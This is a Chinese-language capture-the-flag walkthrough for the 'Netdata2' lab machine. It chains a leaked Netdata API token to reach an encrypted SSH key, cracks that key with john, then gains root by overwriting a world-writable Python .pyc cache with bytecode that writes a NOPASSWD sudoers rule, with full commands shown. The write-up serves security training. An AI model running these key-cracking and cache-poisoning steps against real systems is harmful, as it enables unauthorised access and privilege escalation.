

# | Netdata2\_daochunhan

## | Netdata2

### | 靶机信息

- 靶机名称: Netdata2
- 靶机作者: Sublarge
- 靶机类型: Linux
- 来源: MazeSec/QQ公开群 321948805
- 官网: <https://maze-sec.com/>

### | user

目标:

```
192.168.56.202
```

端口扫描:

```
nmap -p- -Pn --min-rate 5000 192.168.56.202
```

```
daochunhan@boreas /tmp
> nmap -p- -Pn --min-rate 5000 192.168.56.202
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-24 23:38 EDT
Nmap scan report for 192.168.56.202
[Host is up (0.0013s latency)].
Not shown: 65531 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
80/tcp    open  http
8443/tcp   open  https-alt
19999/tcp  open  dnp-sec
MAC Address: 08:00:27:92:C2:E6 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 26.12 seconds
```

```
22/tcp    open  ssh
80/tcp    open  http
8443/tcp   open  https-alt
19999/tcp  open  dnp-sec
```

80 端口是静态 dprod 页面, 8443 显示是 admin service, 19999 有一个 netdata dashboard。

Netdata 常见 API 路径是 `/api/v1/...`，其中 `/api/v1/info` 用来查看节点基本信息，访问 `http://192.168.56.202:19999/api/v1/info`：

```
"cloud_instance_region":"unknown",
"host_labels":{
  "_internal_api_auth_header":"X-Internal-Auth",
  "_internal_api_auth_token":"s3cr3t_t0k3n_f0r_4dm1n",
  "_os_name":"Alpine Linux",
  "_cloud_provider_type":"unknown",
  "_cloud_instance_type":"unknown",
  "_cloud_instance_region":"unknown",
  "_os_version":"unknown",
  "_kernel_version":"7.0.10-0-stable",
  "_system_cores":"2",
  "_system_cpu_freq":"2419000000",
  "_system_ram_total":"4110512128",
  "_system_disk_space":"10737418240",
  "_architecture":"x86_64",
  "_virtualization":"kvm",
  "_container":"unknown",
  "_container_detection":"none",
  "_virt_detection":"lscpu",
  "_is_k8s_node":"false",
  "_install_type":"custom",
  "_aclk_available":"true",
  "_mqtt_version":"5",
  "_aclk_proxy":"none",
  "_aclk_ng_new_cloud_protocol":"true",
  "_is_ephemeral":"false",
  "_has_unstable_connection":"false",
  "_is_parent":"false",
  "_hostname":"Netdata2",
  "_os":"linux",
  "_internal_api_url":"http://127.0.0.1:8443/api/flag"
},
"functions":{
```

根据 `/api/v1/info` 泄露的内部 API 地址和认证信息，携带对应认证头访问 8443 端口的 `/api/health` 接口：

```
X-Internal-Auth:s3cr3t_t0k3n_f0r_4dm1n
```

| Request |                                                                                                                                                 |          |  | Response |                                      |     |        |
|---------|-------------------------------------------------------------------------------------------------------------------------------------------------|----------|--|----------|--------------------------------------|-----|--------|
| Pretty  | Raw                                                                                                                                             | Hex      |  | Pretty   | Raw                                  | Hex | Render |
| 1       | GET /api/health                                                                                                                                 | HTTP/1.1 |  | 1        | HTTP/1.1 200 OK                      |     |        |
| 2       | Host: 192.168.56.202:8443                                                                                                                       |          |  | 2        | Server: Werkzeug/3.1.8 Python/3.14.5 |     |        |
| 3       | X-Internal-Auth:s3cr3t_t0k3n_f0r_4dm1n                                                                                                          |          |  | 3        | Date: Tue, 25 Aug 2026 03:41:19 GMT  |     |        |
| 4       | Upgrade-Insecure-Requests: 1                                                                                                                    |          |  | 4        | Content-Type: application/json       |     |        |
| 5       | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36                 |          |  | 5        | Content-Length: 62                   |     |        |
| 6       | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 |          |  | 6        | Connection: close                    |     |        |
| 7       | Accept-Encoding: gzip, deflate, br                                                                                                              |          |  | 7        |                                      |     |        |
| 8       | Accept-Language: zh-CN,zh;q=0.9                                                                                                                 |          |  | 8        | {                                    |     |        |
| 9       | Connection: keep-alive                                                                                                                          |          |  |          | "access_level": "admin",             |     |        |
| 10      |                                                                                                                                                 |          |  |          | "note": "try /api/flag",             |     |        |
| 11      |                                                                                                                                                 |          |  | 9        | "status": "ok"                       |     |        |
|         |                                                                                                                                                 |          |  |          | }                                    |     |        |

提示尝试 `/api/flag` :

| Request |                                                                                                                                                 |          |  | Response |                                                 |     |        |
|---------|-------------------------------------------------------------------------------------------------------------------------------------------------|----------|--|----------|-------------------------------------------------|-----|--------|
| Pretty  | Raw                                                                                                                                             | Hex      |  | Pretty   | Raw                                             | Hex | Render |
| 1       | GET /api/flag                                                                                                                                   | HTTP/1.1 |  | 1        | HTTP/1.1 200 OK                                 |     |        |
| 2       | Host: 192.168.56.202:8443                                                                                                                       |          |  | 2        | Server: Werkzeug/3.1.8 Python/3.14.5            |     |        |
| 3       | X-Internal-Auth:s3cr3t_t0k3n_f0r_4dm1n                                                                                                          |          |  | 3        | Date: Mon, 24 Aug 2026 15:44:12 GMT             |     |        |
| 4       | Upgrade-Insecure-Requests: 1                                                                                                                    |          |  | 4        | Content-Type: application/json                  |     |        |
| 5       | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36                 |          |  | 5        | Content-Length: 49                              |     |        |
| 6       | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 |          |  | 6        | Connection: close                               |     |        |
| 7       | Accept-Encoding: gzip, deflate, br                                                                                                              |          |  | 7        |                                                 |     |        |
| 8       | Accept-Language: zh-CN,zh;q=0.9                                                                                                                 |          |  | 8        | {                                               |     |        |
| 9       | Connection: keep-alive                                                                                                                          |          |  |          | "flag": "/b7a46cd4-3c6a-4fe9-b432-6aa60fc1c0d7" |     |        |
| 10      |                                                                                                                                                 |          |  | 9        | }                                               |     |        |
| 11      |                                                                                                                                                 |          |  |          |                                                 |     |        |

`"flag": "/b7a46cd4-3c6a-4fe9-b432-6aa60fc1c0d7"`

返回的是一个文件路径。尝试访问路径：

| Request |                                                                                                                                                 |          |  | Response |                                                                                                                          |     |        |
|---------|-------------------------------------------------------------------------------------------------------------------------------------------------|----------|--|----------|--------------------------------------------------------------------------------------------------------------------------|-----|--------|
| Pretty  | Raw                                                                                                                                             | Hex      |  | Pretty   | Raw                                                                                                                      | Hex | Render |
| 1       | GET /b7a46cd4-3c6a-4fe9-b432-6aa60fc1c0d7                                                                                                       | HTTP/1.1 |  | 1        | HTTP/1.1 404 NOT FOUND                                                                                                   |     |        |
| 2       | Host: 192.168.56.202:8443                                                                                                                       |          |  | 2        | Server: Werkzeug/3.1.8 Python/3.14.5                                                                                     |     |        |
| 3       | X-Internal-Auth:s3cr3t_t0k3n_f0r_4dm1n                                                                                                          |          |  | 3        | Date: Tue, 25 Aug 2026 03:42:36 GMT                                                                                      |     |        |
| 4       | Upgrade-Insecure-Requests: 1                                                                                                                    |          |  | 4        | Content-Type: text/html; charset=utf-8                                                                                   |     |        |
| 5       | User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.60 Safari/537.36                 |          |  | 5        | Content-Length: 207                                                                                                      |     |        |
| 6       | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 |          |  | 6        | Connection: close                                                                                                        |     |        |
| 7       | Accept-Encoding: gzip, deflate, br                                                                                                              |          |  | 7        |                                                                                                                          |     |        |
| 8       | Accept-Language: zh-CN,zh;q=0.9                                                                                                                 |          |  | 8        | <!doctype html>                                                                                                          |     |        |
| 9       | Connection: keep-alive                                                                                                                          |          |  | 9        | <html lang=en>                                                                                                           |     |        |
| 10      |                                                                                                                                                 |          |  | 10       | <title>                                                                                                                  |     |        |
| 11      |                                                                                                                                                 |          |  |          | 404 Not Found                                                                                                            |     |        |
|         |                                                                                                                                                 |          |  | 11       | </title>                                                                                                                 |     |        |
|         |                                                                                                                                                 |          |  |          | <h1>                                                                                                                     |     |        |
|         |                                                                                                                                                 |          |  |          | Not Found                                                                                                                |     |        |
|         |                                                                                                                                                 |          |  | 12       | </h1>                                                                                                                    |     |        |
|         |                                                                                                                                                 |          |  |          | <p>                                                                                                                      |     |        |
|         |                                                                                                                                                 |          |  |          | The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again. |     |        |
|         |                                                                                                                                                 |          |  | 13       | </p>                                                                                                                     |     |        |

使用该路径访问 8443 返回 404，尝试使用该路径访问 80 端口：

```
← → ↻ ⚠ 不安全 192.168.56.202/b7a46cd4-3c6a-4fe9-b432-6aa60fc1c0d7

-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAACMFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDnJvarBy
AaK0VHGUqzKvNJAAAAGAAAAEAAABoAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlz
dHAyNTYAAABBBau0v0q2iiKpRafaALDAzdld1q7etogfJpUys7uQkh0yssPHIOGIlnCVmk
fH+597ZZUha++8yznavl8rqIn4BZcAAACwIeMia8+vQg3Pds4BwlqyuiELAH9cHiZizeoJ
+awY0UEJFz3Dkrl3ja9wN4mGDnPJ/o9sblQstTDcEKsz9CluQ0MWrAgZ0IM8rmp/b1/NCH
+dAiQcFgnGllwiBvqn+HLzonSdiDa8t2FY7e1PCNwhehMANepB47bl0GbNN+DLiIbr2NK9
Tf4hR4lkfDAJNCuNcAYPFGdeJiSYHZ5pz23C/EdTq4zx1L5fWTedbBgRwUc=
-----END OPENSSH PRIVATE KEY-----
```

得到了一份私钥：

```
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAACMFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABDnJvarBy
AaK0VHGUqzKvNJAAAAGAAAAEAAABoAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlz
dHAyNTYAAABBBau0v0q2iiKpRafaALDAzdld1q7etogfJpUys7uQkh0yssPHIOGIlnCVmk
fH+597ZZUha++8yznavl8rqIn4BZcAAACwIeMia8+vQg3Pds4BwlqyuiELAH9cHiZizeoJ
+awY0UEJFz3Dkrl3ja9wN4mGDnPJ/o9sblQstTDcEKsz9CluQ0MWrAgZ0IM8rmp/b1/NCH
+dAiQcFgnGllwiBvqn+HLzonSdiDa8t2FY7e1PCNwhehMANepB47bl0GbNN+DLiIbr2NK9
Tf4hR4lkfDAJNCuNcAYPFGdeJiSYHZ5pz23C/EdTq4zx1L5fWTedbBgRwUc=
-----END OPENSSH PRIVATE KEY-----
```

尝试读取私钥的注释信息得到 ssh 用户名：

```
chmod 600 key
ssh-keygen -y -f key
```

```
[ daochunhan@boreas /tmp
> nano key

[ daochunhan@boreas /tmp
> ssh-keygen -y -f key
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@                WARNING: UNPROTECTED PRIVATE KEY FILE!                @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
Permissions 0664 for 'key' are too open.
It is required that your private key files are NOT accessible by others.
This private key will be ignored.
Load key "key": bad permissions

[ daochunhan@boreas /tmp
> chmod 600 key

[ daochunhan@boreas /tmp
> ssh-keygen -y -f key
[Enter passphrase for "key":
```

发现私钥是加密的，使用 `ssh2john` 转换破解：

```
ssh2john key > key.hash  
john --wordlist=/usr/share/wordlists/rockyou.txt key.hash
```

```
daochunhan@boreas /tmp  
> john --wordlist=/usr/share/wordlists/rockyou.txt key.hash  
Using default input encoding: UTF-8  
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])  
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes  
Cost 2 (iteration count) is 24 for all loaded hashes  
Will run 8 OpenMP threads  
Press 'q' or Ctrl-C to abort, almost any other key for status  
legolas (key)  
1g 0:00:00:16 DONE (2026-08-24 23:53) 0.06161g/s 51.26p/s 51.26c/s 51.26C/s football1..legolas  
Use the "--show" option to display all of the cracked passwords reliably  
Session completed.
```

legolas (key)

重新识别注释:

```
ssh-keygen -y -f key # legolas
```

```
daochunhan@boreas /tmp  
> ssh-keygen -y -f key  
Enter passphrase for "key":  
ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBAu0v0q2iiKpRafaALDAzdld1q7etogfJpUys7uQkh0yssPHIOGIlnCVmkfH+597ZZUha++8yznavl8rqIn4BZc= kendrals@Maze
```

```
ecdsa-sha2-nistp256  
AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBAu0v0q2iiKpRafaALDAzdld  
1q7etogfJpUys7uQkh0yssPHIOGIlnCVmkfH+597ZZUha++8yznavl8rqIn4BZc=  
kendrals@Maze
```

从私钥注释中得到用户名 **kendrals** , 登录:

```
ssh kendrals@192.168.56.202 -i key # legolas
```



```

daochunhan@boreas /tmp
> ssh kendrals@192.168.56.202 -i key
[Enter passphrase for key 'key':

--|-----|-----|-----|-----|
\  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \
 \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \
  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \  \

[kendrals@Netdata2:~$ id
uid=1000(kendrals) gid=1000(kendrals) groups=1000(kendrals)
[kendrals@Netdata2:~$ cat user.txt
flag{user-038b7528863a88af09ef985247ffc3ec}
kendrals@Netdata2:~$ █

```

## root

登录后使用 pspy64 查看定时任务：

```

wget http://192.168.56.2:8000/pspy64 -O pspy64
chmod +x pspy64
./pspy64

```

```

2026/08/25 12:02:40 CMD: UID=0 PID=4236 | grep default
2026/08/25 12:02:40 CMD: UID=0 PID=4236 | ip -4 route show
2026/08/25 12:03:00 CMD: UID=0 PID=4240 | /bin/bash -c cd /opt/backup && /usr/bin/python3 /opt/backup/backup_job.py > /dev/null 2>&1
2026/08/25 12:03:00 CMD: UID=0 PID=4241 | /usr/bin/python3 /opt/backup/backup_job.py
2026/08/25 12:03:00 CMD: UID=0 PID=4242 | sh -c echo backup_complete >> /opt/backup/backup.log
2026/08/25 12:04:00 CMD: UID=0 PID=4243 | /bin/bash -c cd /opt/backup && /usr/bin/python3 /opt/backup/backup_job.py > /dev/null 2>&1
2026/08/25 12:04:00 CMD: UID=0 PID=4244 | /bin/bash -c cd /opt/backup && /usr/bin/python3 /opt/backup/backup_job.py > /dev/null 2>&1
2026/08/25 12:04:00 CMD: UID=0 PID=4245 |

```

通过 pspy64 观察到，root 权限运行的 **crond** 大约每分钟执行一次备份任务，查看一下对应的脚本文件：

```

cat /opt/backup/backup_job.py

```

```

^CExiting program... (interrupt)
[kendrals@Netdata2:~$ cat /opt/backup/backup_job.py
#!/usr/bin/env python3
from backup_utils import run_backup

if __name__ == '__main__':
    run_backup()
kendrals@Netdata2:~$ █

```

```

# /opt/backup/backup_job.py
from backup_utils import run_backup

```

```
if __name__ == '__main__':  
    run_backup()
```

```
ls -l /opt/backup/backup_job.py
```

```
kendrals@Netdata2:~$ vim /opt/backup/backup_job.py  
kendrals@Netdata2:~$ ls -l /opt/backup/backup_job.py  
-rw-r--r-- 1 root root 104 Jul  4 20:09 /opt/backup/backup_job.py  
kendrals@Netdata2:~$
```

源文件不可写，看一下 `/opt/backup/` 下有没有其他文件：

```
cd /opt/backup  
ls -al
```

```
kendrals@Netdata2:~$  
kendrals@Netdata2:~$ cd /opt/backup  
kendrals@Netdata2:/opt/backup$ ls -al  
total 24  
drwxr-xr-x 3 root root 4096 Jul  4 20:31 .  
drwxr-xr-x 4 root root 4096 Jul  4 20:09 ..  
drwxrwxrwx 2 root root 4096 Jul  4 20:28 __pycache__  
-rw-r--r-- 1 root root 2448 Aug 25 12:20 backup.log  
-rw-r--r-- 1 root root  104 Jul  4 20:09 backup_job.py  
-rwxr-xr-x 1 root root  277 Jul  4 20:09 backup_utils.py  
kendrals@Netdata2:/opt/backup$
```

```
cat backup.log  
cat backup_utils.py
```

```

backup_complete
backup_complete
backup_complete
backup_complete
backup_complete
backup_complete
backup_complete
backup_complete
backup_complete
backup_complete
[kendrals@Netdata2:/opt/backup$ cat backup_utils.py
#!/usr/bin/env python3
import os
import datetime

def run_backup():
    print(f"[{datetime.datetime.now()}] Running backup...")
    os.system("echo backup_complete >> /opt/backup/backup.log")
    print("Backup complete")

def cleanup():
    print("Cleaning up old backups...")
kendrals@Netdata2:/opt/backup$

```

`backup.log` 用于记录备份完成信息，继续查看 `backup_utils.py`：

```

#!/usr/bin/env python3
import os
import datetime

def run_backup():
    print(f"[{datetime.datetime.now()}] Running backup...")
    os.system("echo backup_complete >> /opt/backup/backup.log")
    print("Backup complete")

def cleanup():
    print("Cleaning up old backups...")

```

```

cd __pycache__
ls -al
ls -l backup_utils.cpython-314.pyc

```

```

[kendrals@Netdata2:/opt/backup$ cd __pycache__
[kendrals@Netdata2:/opt/backup/__pycache__$ ls -al
total 12
drwxrwxrwx 2 root root 4096 Jul  4 20:28 .
drwxr-xr-x 3 root root 4096 Jul  4 20:31 ..
-rw-rw-rw- 1 root root  742 Jul  4 20:28 backup_utils.cpython-314.pyc
[kendrals@Netdata2:/opt/backup/__pycache__$ ls -l backup_utils.cpython-314.pyc
-rw-rw-rw- 1 root root 742 Jul  4 20:28 backup_utils.cpython-314.pyc
kendrals@Netdata2:/opt/backup/__pycache__$ █

```



Python 自动生成的缓存:

```
/opt/backup/__pycache__/backup_utils.cpython-314.pyc
```

是可写的, 原脚本中是:

```
from backup_utils import run_backup
```

Python 先解析 `backup_utils` 模块, 再检查对应的 `.pyc` 缓存。如果缓存头部中的版本、时间戳和源文件大小匹配, 就直接加载 `.pyc` 中的字节码; 否则重新编译原始 `.py` 文件。

因此可以构造新的 `backup_utils` 字节码模块, 重新定义 `run_backup()`, 让其写入 `sudoers` 规则:

```
python3 - <<'PY'
import marshal
import os

p = "/opt/backup/__pycache__/backup_utils.cpython-314.pyc"

with open(p, "rb") as f:
    header = f.read(16)

payload = """
def run_backup():
    with open("/etc/sudoers.d/kendrals", "w") as f:
        f.write("kendrals ALL=(ALL:ALL) NOPASSWD: ALL")
    import os
    os.chmod("/etc/sudoers.d/kendrals", 0o440)
"""

code = compile(payload, "/opt/backup/backup_utils.py", "exec")

with open(p, "wb") as f:
    f.write(header)
    f.write(marshal.dumps(code))
PY
```

先前查看 `pspy64` 得到定时任务大概每分钟执行一次, 等待触发后提权即可:

```
sleep 60; sudo su -
```

```
with open(p, "wb") as f:
    f.write(header)
    f.write(marshal.dumps(code))
PY
kendrals@Netdata2:~$ sleep 60; sudo su -
root@Netdata2:~# id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
root@Netdata2:~# cat /root/root.txt
flag{root-57ef9bf79ec87b8179360756328fc252}
root@Netdata2:~#
```